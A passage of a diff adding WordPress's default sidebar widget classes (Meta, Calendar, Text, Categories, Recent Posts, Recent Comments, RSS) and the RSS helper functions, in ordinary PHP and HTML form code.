+			<input class="checkbox" type="checkbox" <?php echo $dropdown; ?> id="<?php echo $this->get_field_id('dropdown'); ?>" name="<?php echo $this->get_field_name('dropdown'); ?>" /> <label for="<?php echo $this->get_field_id('dropdown'); ?>"><?php _e('Display as dropdown'); ?></label>
+			<br/>
+			<input class="checkbox" type="checkbox" <?php echo $count; ?> id="<?php echo $this->get_field_id('count'); ?>" name="<?php echo $this->get_field_name('count'); ?>" /> <label for="<?php echo $this->get_field_id('count'); ?>"><?php _e('Show post counts'); ?></label>
+		</p>
+<?php
+	}
+}
+
+/**
+ * Meta widget class
+ *
+ * Displays log in/out, RSS feed links, etc.
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Meta extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array('classname' => 'widget_meta', 'description' => __( "Login, RSS, &amp; WordPress.org links.") );
+		parent::__construct('meta', __('Meta'), $widget_ops);
+	}
+
+	public function widget( $args, $instance ) {
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', empty($instance['title']) ? __( 'Meta' ) : $instance['title'], $instance, $this->id_base );
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+?>
+			<ul>
+			<?php wp_register(); ?>
+			<li><?php wp_loginout(); ?></li>
+			<li><a href="<?php bloginfo('rss2_url'); ?>"><?php _e('Entries <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
+			<li><a href="<?php bloginfo('comments_rss2_url'); ?>"><?php _e('Comments <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
+<?php
+			/**
+			 * Filter the "Powered by WordPress" text in the Meta widget.
+			 *
+			 * @since 3.6.0
+			 *
+			 * @param string $title_text Default title text for the WordPress.org link.
+			 */
+			echo apply_filters( 'widget_meta_poweredby', sprintf( '<li><a href="%s" title="%s">%s</a></li>',
+				esc_url( __( 'https://wordpress.org/' ) ),
+				esc_attr__( 'Powered by WordPress, state-of-the-art semantic personal publishing platform.' ),
+				_x( 'WordPress.org', 'meta widget link text' )
+			) );
+
+			wp_meta();
+?>
+			</ul>
+<?php
+		echo $args['after_widget'];
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+
+		return $instance;
+	}
+
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
+		$title = strip_tags($instance['title']);
+?>
+			<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+<?php
+	}
+}
+
+/**
+ * Calendar widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Calendar extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array('classname' => 'widget_calendar', 'description' => __( 'A calendar of your site&#8217;s Posts.') );
+		parent::__construct('calendar', __('Calendar'), $widget_ops);
+	}
+
+	public function widget( $args, $instance ) {
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base );
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+		echo '<div id="calendar_wrap">';
+		get_calendar();
+		echo '</div>';
+		echo $args['after_widget'];
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+
+		return $instance;
+	}
+
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
+		$title = strip_tags($instance['title']);
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+<?php
+	}
+}
+
+/**
+ * Text widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Text extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array('classname' => 'widget_text', 'description' => __('Arbitrary text or HTML.'));
+		$control_ops = array('width' => 400, 'height' => 350);
+		parent::__construct('text', __('Text'), $widget_ops, $control_ops);
+	}
+
+	public function widget( $args, $instance ) {
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base );
+
+		/**
+		 * Filter the content of the Text widget.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string    $widget_text The widget content.
+		 * @param WP_Widget $instance    WP_Widget instance.
+		 */
+		$text = apply_filters( 'widget_text', empty( $instance['text'] ) ? '' : $instance['text'], $instance );
+		echo $args['before_widget'];
+		if ( ! empty( $title ) ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		} ?>
+			<div class="textwidget"><?php echo !empty( $instance['filter'] ) ? wpautop( $text ) : $text; ?></div>
+		<?php
+		echo $args['after_widget'];
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		if ( current_user_can('unfiltered_html') )
+			$instance['text'] =  $new_instance['text'];
+		else
+			$instance['text'] = stripslashes( wp_filter_post_kses( addslashes($new_instance['text']) ) ); // wp_filter_post_kses() expects slashed
+		$instance['filter'] = isset($new_instance['filter']);
+		return $instance;
+	}
+
+	public function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '', 'text' => '' ) );
+		$title = strip_tags($instance['title']);
+		$text = esc_textarea($instance['text']);
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+
+		<textarea class="widefat" rows="16" cols="20" id="<?php echo $this->get_field_id('text'); ?>" name="<?php echo $this->get_field_name('text'); ?>"><?php echo $text; ?></textarea>
+
+		<p><input id="<?php echo $this->get_field_id('filter'); ?>" name="<?php echo $this->get_field_name('filter'); ?>" type="checkbox" <?php checked(isset($instance['filter']) ? $instance['filter'] : 0); ?> />&nbsp;<label for="<?php echo $this->get_field_id('filter'); ?>"><?php _e('Automatically add paragraphs'); ?></label></p>
+<?php
+	}
+}
+
+/**
+ * Categories widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Categories extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array( 'classname' => 'widget_categories', 'description' => __( "A list or dropdown of categories." ) );
+		parent::__construct('categories', __('Categories'), $widget_ops);
+	}
+
+	public function widget( $args, $instance ) {
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Categories' ) : $instance['title'], $instance, $this->id_base );
+
+		$c = ! empty( $instance['count'] ) ? '1' : '0';
+		$h = ! empty( $instance['hierarchical'] ) ? '1' : '0';
+		$d = ! empty( $instance['dropdown'] ) ? '1' : '0';
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+
+		$cat_args = array('orderby' => 'name', 'show_count' => $c, 'hierarchical' => $h);
+
+		if ( $d ) {
+			$cat_args['show_option_none'] = __('Select Category');
+
+			/**
+			 * Filter the arguments for the Categories widget drop-down.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @see wp_dropdown_categories()
+			 *
+			 * @param array $cat_args An array of Categories widget drop-down arguments.
+			 */
+			wp_dropdown_categories( apply_filters( 'widget_categories_dropdown_args', $cat_args ) );
+?>
+
+<script type='text/javascript'>
+/* <![CDATA[ */
+	var dropdown = document.getElementById("cat");
+	function onCatChange() {
+		if ( dropdown.options[dropdown.selectedIndex].value > 0 ) {
+			location.href = "<?php echo home_url(); ?>/?cat="+dropdown.options[dropdown.selectedIndex].value;
+		}
+	}
+	dropdown.onchange = onCatChange;
+/* ]]> */
+</script>
+
+<?php
+		} else {
+?>
+		<ul>
+<?php
+		$cat_args['title_li'] = '';
+
+		/**
+		 * Filter the arguments for the Categories widget.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array $cat_args An array of Categories widget options.
+		 */
+		wp_list_categories( apply_filters( 'widget_categories_args', $cat_args ) );
+?>
+		</ul>
+<?php
+		}
+
+		echo $args['after_widget'];
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		$instance['count'] = !empty($new_instance['count']) ? 1 : 0;
+		$instance['hierarchical'] = !empty($new_instance['hierarchical']) ? 1 : 0;
+		$instance['dropdown'] = !empty($new_instance['dropdown']) ? 1 : 0;
+
+		return $instance;
+	}
+
+	public function form( $instance ) {
+		//Defaults
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '') );
+		$title = esc_attr( $instance['title'] );
+		$count = isset($instance['count']) ? (bool) $instance['count'] :false;
+		$hierarchical = isset( $instance['hierarchical'] ) ? (bool) $instance['hierarchical'] : false;
+		$dropdown = isset( $instance['dropdown'] ) ? (bool) $instance['dropdown'] : false;
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e( 'Title:' ); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>
+
+		<p><input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id('dropdown'); ?>" name="<?php echo $this->get_field_name('dropdown'); ?>"<?php checked( $dropdown ); ?> />
+		<label for="<?php echo $this->get_field_id('dropdown'); ?>"><?php _e( 'Display as dropdown' ); ?></label><br />
+
+		<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id('count'); ?>" name="<?php echo $this->get_field_name('count'); ?>"<?php checked( $count ); ?> />
+		<label for="<?php echo $this->get_field_id('count'); ?>"><?php _e( 'Show post counts' ); ?></label><br />
+
+		<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id('hierarchical'); ?>" name="<?php echo $this->get_field_name('hierarchical'); ?>"<?php checked( $hierarchical ); ?> />
+		<label for="<?php echo $this->get_field_id('hierarchical'); ?>"><?php _e( 'Show hierarchy' ); ?></label></p>
+<?php
+	}
+
+}
+
+/**
+ * Recent_Posts widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Recent_Posts extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array('classname' => 'widget_recent_entries', 'description' => __( "Your site&#8217;s most recent Posts.") );
+		parent::__construct('recent-posts', __('Recent Posts'), $widget_ops);
+		$this->alt_option_name = 'widget_recent_entries';
+
+		add_action( 'save_post', array($this, 'flush_widget_cache') );
+		add_action( 'deleted_post', array($this, 'flush_widget_cache') );
+		add_action( 'switch_theme', array($this, 'flush_widget_cache') );
+	}
+
+	public function widget($args, $instance) {
+		$cache = array();
+		if ( ! $this->is_preview() ) {
+			$cache = wp_cache_get( 'widget_recent_posts', 'widget' );
+		}
+
+		if ( ! is_array( $cache ) ) {
+			$cache = array();
+		}
+
+		if ( ! isset( $args['widget_id'] ) ) {
+			$args['widget_id'] = $this->id;
+		}
+
+		if ( isset( $cache[ $args['widget_id'] ] ) ) {
+			echo $cache[ $args['widget_id'] ];
+			return;
+		}
+
+		ob_start();
+
+		$title = ( ! empty( $instance['title'] ) ) ? $instance['title'] : __( 'Recent Posts' );
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5;
+		if ( ! $number )
+			$number = 5;
+		$show_date = isset( $instance['show_date'] ) ? $instance['show_date'] : false;
+
+		/**
+		 * Filter the arguments for the Recent Posts widget.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @see WP_Query::get_posts()
+		 *
+		 * @param array $args An array of arguments used to retrieve the recent posts.
+		 */
+		$r = new WP_Query( apply_filters( 'widget_posts_args', array(
+			'posts_per_page'      => $number,
+			'no_found_rows'       => true,
+			'post_status'         => 'publish',
+			'ignore_sticky_posts' => true
+		) ) );
+
+		if ($r->have_posts()) :
+?>
+		<?php echo $args['before_widget']; ?>
+		<?php if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		} ?>
+		<ul>
+		<?php while ( $r->have_posts() ) : $r->the_post(); ?>
+			<li>
+				<a href="<?php the_permalink(); ?>"><?php get_the_title() ? the_title() : the_ID(); ?></a>
+			<?php if ( $show_date ) : ?>
+				<span class="post-date"><?php echo get_the_date(); ?></span>
+			<?php endif; ?>
+			</li>
+		<?php endwhile; ?>
+		</ul>
+		<?php echo $args['after_widget']; ?>
+<?php
+		// Reset the global $the_post as this query will have stomped on it
+		wp_reset_postdata();
+
+		endif;
+
+		if ( ! $this->is_preview() ) {
+			$cache[ $args['widget_id'] ] = ob_get_flush();
+			wp_cache_set( 'widget_recent_posts', $cache, 'widget' );
+		} else {
+			ob_end_flush();
+		}
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		$instance['number'] = (int) $new_instance['number'];
+		$instance['show_date'] = isset( $new_instance['show_date'] ) ? (bool) $new_instance['show_date'] : false;
+		$this->flush_widget_cache();
+
+		$alloptions = wp_cache_get( 'alloptions', 'options' );
+		if ( isset($alloptions['widget_recent_entries']) )
+			delete_option('widget_recent_entries');
+
+		return $instance;
+	}
+
+	public function flush_widget_cache() {
+		wp_cache_delete('widget_recent_posts', 'widget');
+	}
+
+	public function form( $instance ) {
+		$title     = isset( $instance['title'] ) ? esc_attr( $instance['title'] ) : '';
+		$number    = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5;
+		$show_date = isset( $instance['show_date'] ) ? (bool) $instance['show_date'] : false;
+?>
+		<p><label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo $title; ?>" /></p>
+
+		<p><label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of posts to show:' ); ?></label>
+		<input id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="text" value="<?php echo $number; ?>" size="3" /></p>
+
+		<p><input class="checkbox" type="checkbox" <?php checked( $show_date ); ?> id="<?php echo $this->get_field_id( 'show_date' ); ?>" name="<?php echo $this->get_field_name( 'show_date' ); ?>" />
+		<label for="<?php echo $this->get_field_id( 'show_date' ); ?>"><?php _e( 'Display post date?' ); ?></label></p>
+<?php
+	}
+}
+
+/**
+ * Recent_Comments widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Recent_Comments extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array('classname' => 'widget_recent_comments', 'description' => __( 'Your site&#8217;s most recent comments.' ) );
+		parent::__construct('recent-comments', __('Recent Comments'), $widget_ops);
+		$this->alt_option_name = 'widget_recent_comments';
+
+		if ( is_active_widget(false, false, $this->id_base) )
+			add_action( 'wp_head', array($this, 'recent_comments_style') );
+
+		add_action( 'comment_post', array($this, 'flush_widget_cache') );
+		add_action( 'edit_comment', array($this, 'flush_widget_cache') );
+		add_action( 'transition_comment_status', array($this, 'flush_widget_cache') );
+	}
+
+	public function recent_comments_style() {
+
+		/**
+		 * Filter the Recent Comments default widget styles.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param bool   $active  Whether the widget is active. Default true.
+		 * @param string $id_base The widget ID.
+		 */
+		if ( ! current_theme_supports( 'widgets' ) // Temp hack #14876
+			|| ! apply_filters( 'show_recent_comments_widget_style', true, $this->id_base ) )
+			return;
+		?>
+	<style type="text/css">.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style>
+<?php
+	}
+
+	public function flush_widget_cache() {
+		wp_cache_delete('widget_recent_comments', 'widget');
+	}
+
+	public function widget( $args, $instance ) {
+		global $comments, $comment;
+
+		$cache = array();
+		if ( ! $this->is_preview() ) {
+			$cache = wp_cache_get('widget_recent_comments', 'widget');
+		}
+		if ( ! is_array( $cache ) ) {
+			$cache = array();
+		}
+
+		if ( ! isset( $args['widget_id'] ) )
+			$args['widget_id'] = $this->id;
+
+		if ( isset( $cache[ $args['widget_id'] ] ) ) {
+			echo $cache[ $args['widget_id'] ];
+			return;
+		}
+
+		$output = '';
+
+		$title = ( ! empty( $instance['title'] ) ) ? $instance['title'] : __( 'Recent Comments' );
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$number = ( ! empty( $instance['number'] ) ) ? absint( $instance['number'] ) : 5;
+		if ( ! $number )
+			$number = 5;
+
+		/**
+		 * Filter the arguments for the Recent Comments widget.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @see WP_Comment_Query::query() for information on accepted arguments.
+		 *
+		 * @param array $comment_args An array of arguments used to retrieve the recent comments.
+		 */
+		$comments = get_comments( apply_filters( 'widget_comments_args', array(
+			'number'      => $number,
+			'status'      => 'approve',
+			'post_status' => 'publish'
+		) ) );
+
+		$output .= $args['before_widget'];
+		if ( $title ) {
+			$output .= $args['before_title'] . $title . $args['after_title'];
+		}
+
+		$output .= '<ul id="recentcomments">';
+		if ( $comments ) {
+			// Prime cache for associated posts. (Prime post term cache if we need it for permalinks.)
+			$post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) );
+			_prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false );
+
+			foreach ( (array) $comments as $comment) {
+				$output .= '<li class="recentcomments">';
+				/* translators: comments widget: 1: comment author, 2: post link */
+				$output .= sprintf( _x( '%1$s on %2$s', 'widgets' ),
+					'<span class="comment-author-link">' . get_comment_author_link() . '</span>',
+					'<a href="' . esc_url( get_comment_link( $comment->comment_ID ) ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a>'
+				);
+				$output .= '</li>';
+			}
+		}
+		$output .= '</ul>';
+		$output .= $args['after_widget'];
+
+		echo $output;
+
+		if ( ! $this->is_preview() ) {
+			$cache[ $args['widget_id'] ] = $output;
+			wp_cache_set( 'widget_recent_comments', $cache, 'widget' );
+		}
+	}
+
+	public function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		$instance['number'] = absint( $new_instance['number'] );
+		$this->flush_widget_cache();
+
+		$alloptions = wp_cache_get( 'alloptions', 'options' );
+		if ( isset($alloptions['widget_recent_comments']) )
+			delete_option('widget_recent_comments');
+
+		return $instance;
+	}
+
+	public function form( $instance ) {
+		$title  = isset( $instance['title'] ) ? esc_attr( $instance['title'] ) : '';
+		$number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5;
+?>
+		<p><label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo $title; ?>" /></p>
+
+		<p><label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of comments to show:' ); ?></label>
+		<input id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="text" value="<?php echo $number; ?>" size="3" /></p>
+<?php
+	}
+}
+
+/**
+ * RSS widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_RSS extends WP_Widget {
+
+	public function __construct() {
+		$widget_ops = array( 'description' => __('Entries from any RSS or Atom feed.') );
+		$control_ops = array( 'width' => 400, 'height' => 200 );
+		parent::__construct( 'rss', __('RSS'), $widget_ops, $control_ops );
+	}
+
+	public function widget($args, $instance) {
+
+		if ( isset($instance['error']) && $instance['error'] )
+			return;
+
+		$url = ! empty( $instance['url'] ) ? $instance['url'] : '';
+		while ( stristr($url, 'http') != $url )
+			$url = substr($url, 1);
+
+		if ( empty($url) )
+			return;
+
+		// self-url destruction sequence
+		if ( in_array( untrailingslashit( $url ), array( site_url(), home_url() ) ) )
+			return;
+
+		$rss = fetch_feed($url);
+		$title = $instance['title'];
+		$desc = '';
+		$link = '';
+
+		if ( ! is_wp_error($rss) ) {
+			$desc = esc_attr(strip_tags(@html_entity_decode($rss->get_description(), ENT_QUOTES, get_option('blog_charset'))));
+			if ( empty($title) )
+				$title = esc_html(strip_tags($rss->get_title()));
+			$link = esc_url(strip_tags($rss->get_permalink()));
+			while ( stristr($link, 'http') != $link )
+				$link = substr($link, 1);
+		}
+
+		if ( empty($title) )
+			$title = empty($desc) ? __('Unknown Feed') : $desc;
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );
+
+		$url = esc_url(strip_tags($url));
+		$icon = includes_url('images/rss.png');
+		if ( $title )
+			$title = "<a class='rsswidget' href='$url'><img style='border:0' width='14' height='14' src='$icon' alt='RSS' /></a> <a class='rsswidget' href='$link'>$title</a>";
+
+		echo $args['before_widget'];
+		if ( $title ) {
+			echo $args['before_title'] . $title . $args['after_title'];
+		}
+		wp_widget_rss_output( $rss, $instance );
+		echo $args['after_widget'];
+
+		if ( ! is_wp_error($rss) )
+			$rss->__destruct();
+		unset($rss);
+	}
+
+	public function update($new_instance, $old_instance) {
+		$testurl = ( isset( $new_instance['url'] ) && ( !isset( $old_instance['url'] ) || ( $new_instance['url'] != $old_instance['url'] ) ) );
+		return wp_widget_rss_process( $new_instance, $testurl );
+	}
+
+	public function form($instance) {
+
+		if ( empty($instance) )
+			$instance = array( 'title' => '', 'url' => '', 'items' => 10, 'error' => false, 'show_summary' => 0, 'show_author' => 0, 'show_date' => 0 );
+		$instance['number'] = $this->number;
+
+		wp_widget_rss_form( $instance );
+	}
+}
+
+/**
+ * Display the RSS entries in a list.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array|object $rss RSS url.
+ * @param array $args Widget arguments.
+ */
+function wp_widget_rss_output( $rss, $args = array() ) {
+	if ( is_string( $rss ) ) {
+		$rss = fetch_feed($rss);
+	} elseif ( is_array($rss) && isset($rss['url']) ) {
+		$args = $rss;
+		$rss = fetch_feed($rss['url']);
+	} elseif ( !is_object($rss) ) {
+		return;
+	}
+
+	if ( is_wp_error($rss) ) {
+		if ( is_admin() || current_user_can('manage_options') )
+			echo '<p>' . sprintf( __('<strong>RSS Error</strong>: %s'), $rss->get_error_message() ) . '</p>';
+		return;
+	}
+
+	$default_args = array( 'show_author' => 0, 'show_date' => 0, 'show_summary' => 0, 'items' => 0 );
+	$args = wp_parse_args( $args, $default_args );
+
+	$items = (int) $args['items'];
+	if ( $items < 1 || 20 < $items )
+		$items = 10;
+	$show_summary  = (int) $args['show_summary'];
+	$show_author   = (int) $args['show_author'];
+	$show_date     = (int) $args['show_date'];
+
+	if ( !$rss->get_item_quantity() ) {
+		echo '<ul><li>' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</li></ul>';
+		$rss->__destruct();
+		unset($rss);
+		return;
+	}
+
+	echo '<ul>';
+	foreach ( $rss->get_items( 0, $items ) as $item ) {
+		$link = $item->get_link();
+		while ( stristr( $link, 'http' ) != $link ) {
+			$link = substr( $link, 1 );
+		}
+		$link = esc_url( strip_tags( $link ) );
+
+		$title = esc_html( trim( strip_tags( $item->get_title() ) ) );
+		if ( empty( $title ) ) {
+			$title = __( 'Untitled' );
+		}
+
+		$desc = @html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) );
+		$desc = esc_attr( wp_trim_words( $desc, 55, ' [&hellip;]' ) );
+
+		$summary = '';
+		if ( $show_summary ) {
+			$summary = $desc;
+
+			// Change existing [...] to [&hellip;].
+			if ( '[...]' == substr( $summary, -5 ) ) {
+				$summary = substr( $summary, 0, -5 ) . '[&hellip;]';
+			}
+
+			$summary = '<div class="rssSummary">' . esc_html( $summary ) . '</div>';
+		}
+
+		$date = '';
+		if ( $show_date ) {
+			$date = $item->get_date( 'U' );
+
+			if ( $date ) {
+				$date = ' <span class="rss-date">' . date_i18n( get_option( 'date_format' ), $date ) . '</span>';
+			}
+		}
+
+		$author = '';
+		if ( $show_author ) {
+			$author = $item->get_author();
+			if ( is_object($author) ) {
+				$author = $author->get_name();
+				$author = ' <cite>' . esc_html( strip_tags( $author ) ) . '</cite>';
+			}
+		}
+
+		if ( $link == '' ) {
+			echo "<li>$title{$date}{$summary}{$author}</li>";
+		} elseif ( $show_summary ) {
+			echo "<li><a class='rsswidget' href='$link'>$title</a>{$date}{$summary}{$author}</li>";
+		} else {
+			echo "<li><a class='rsswidget' href='$link'>$title</a>{$date}{$author}</li>";
+		}
+	}
+	echo '</ul>';
+	$rss->__destruct();
+	unset($rss);
+}
+
+/**
+ * Display RSS widget options form.
+ *
+ * The options for what fields are displayed for the RSS form are all booleans
+ * and are as follows: 'url', 'title', 'items', 'show_summary', 'show_author',
+ * 'show_date'.
+ *
+ * @since 2.5.0
+ *
+ * @param array|string $args Values for input fields.
+ * @param array $inputs Override default display options.
+ */
+function wp_widget_rss_form( $args, $inputs = null ) {
+	$default_inputs = array( 'url' => true, 'title' => true, 'items' => true, 'show_summary' => true, 'show_author' => true, 'show_date' => true );
+	$inputs = wp_parse_args( $inputs, $default_inputs );
+
+	$args['number'] = esc_attr( $args['number'] );
+	$args['title'] = isset( $args['title'] ) ? esc_attr( $args['title'] ) : '';
+	$args['url'] = isset( $args['url'] ) ? esc_url( $args['url'] ) : '';
+	$args['items'] = isset( $args['items'] ) ? (int) $args['items'] : 0;
+
+	if ( $args['items'] < 1 || 20 < $args['items'] ) {
+		$args['items'] = 10;
+	}
+
+	$args['show_summary']   = isset( $args['show_summary'] ) ? (int) $args['show_summary'] : (int) $inputs['show_summary'];
+	$args['show_author']    = isset( $args['show_author'] ) ? (int) $args['show_author'] : (int) $inputs['show_author'];
+	$args['show_date']      = isset( $args['show_date'] ) ? (int) $args['show_date'] : (int) $inputs['show_date'];
+
+	if ( ! empty( $args['error'] ) ) {
+		echo '<p class="widget-error"><strong>' . sprintf( __( 'RSS Error: %s' ), $args['error'] ) . '</strong></p>';
+	}
+
+	if ( $inputs['url'] ) :
+?>
+	<p><label for="rss-url-<?php echo $args['number']; ?>"><?php _e( 'Enter the RSS feed URL here:' ); ?></label>
+	<input class="widefat" id="rss-url-<?php echo $args['number']; ?>" name="widget-rss[<?php echo $args['number']; ?>][url]" type="text" value="<?php echo $args['url']; ?>" /></p>
+<?php endif; if ( $inputs['title'] ) : ?>
+	<p><label for="rss-title-<?php echo $args['number']; ?>"><?php _e( 'Give the feed a title (optional):' ); ?></label>
+	<input class="widefat" id="rss-title-<?php echo $args['number']; ?>" name="widget-rss[<?php echo $args['number']; ?>][title]" type="text" value="<?php echo $args['title']; ?>" /></p>
+<?php endif; if ( $inputs['items'] ) : ?>
+	<p><label for="rss-items-<?php echo $args['number']; ?>"><?php _e( 'How many items would you like to display?' ); ?></label>
+	<select id="rss-items-<?php echo $args['number']; ?>" name="widget-rss[<?php echo $args['number']; ?>][items]">
+<?php
+		for ( $i = 1; $i <= 20; ++$i ) {
+			echo "<option value='$i' " . selected( $args['items'], $i, false ) . ">$i</option>";
+		}
+?>
+	</select></p>
+<?php endif; if ( $inputs['show_summary'] ) : ?>
+	<p><input id="rss-show-summary-<?php echo $args['number']; ?>" name="widget-rss[<?php echo $args['number']; ?>][show_summary]" type="checkbox" value="1" <?php checked( $args['show_summary'] ); ?> />
+	<label for="rss-show-summary-<?php echo $args['number']; ?>"><?php _e( 'Display item content?' ); ?></label></p>
+<?php endif; if ( $inputs['show_author'] ) : ?>
+	<p><input id="rss-show-author-<?php echo $args['number']; ?>" name="widget-rss[<?php echo $args['number']; ?>][show_author]" type="checkbox" value="1" <?php checked( $args['show_author'] ); ?> />
+	<label for="rss-show-author-<?php echo $args['number']; ?>"><?php _e( 'Display item author if available?' ); ?></label></p>
+<?php endif; if ( $inputs['show_date'] ) : ?>
+	<p><input id="rss-show-date-<?php echo $args['number']; ?>" name="widget-rss[<?php echo $args['number']; ?>][show_date]" type="checkbox" value="1" <?php checked( $args['show_date'] ); ?>/>
+	<label for="rss-show-date-<?php echo $args['number']; ?>"><?php _e( 'Display item date?' ); ?></label></p>
+<?php
+	endif;
+	foreach ( array_keys($default_inputs) as $input ) :
+		if ( 'hidden' === $inputs[$input] ) :
+			$id = str_replace( '_', '-', $input );
+?>
+	<input type="hidden" id="rss-<?php echo $id; ?>-<?php echo $args['number']; ?>" name="widget-rss[<?php echo $args['number']; ?>][<?php echo $input; ?>]" value="<?php echo $args[ $input ]; ?>" />
+<?php
+		endif;
+	endforeach;
+}
+
+/**
+ * Process RSS feed widget data and optionally retrieve feed items.
+ *
+ * The feed widget can not have more than 20 items or it will reset back to the
+ * default, which is 10.
+ *
+ * The resulting array has the feed title, feed url, feed link (from channel),
+ * feed items, error (if any), and whether to show summary, author, and date.
+ * All respectively in the order of the array elements.
+ *
+ * @since 2.5.0
+ *
+ * @param array $widget_rss RSS widget feed data. Expects unescaped data.
+ * @param bool $check_feed Optional, default is true. Whether to check feed for errors.
+ * @return array
+ */
+function wp_widget_rss_process( $widget_rss, $check_feed = true ) {
+	$items = (int) $widget_rss['items'];
+	if ( $items < 1 || 20 < $items )
+		$items = 10;
+	$url           = esc_url_raw( strip_tags( $widget_rss['url'] ) );
+	$title         = isset( $widget_rss['title'] ) ? trim( strip_tags( $widget_rss['title'] ) ) : '';
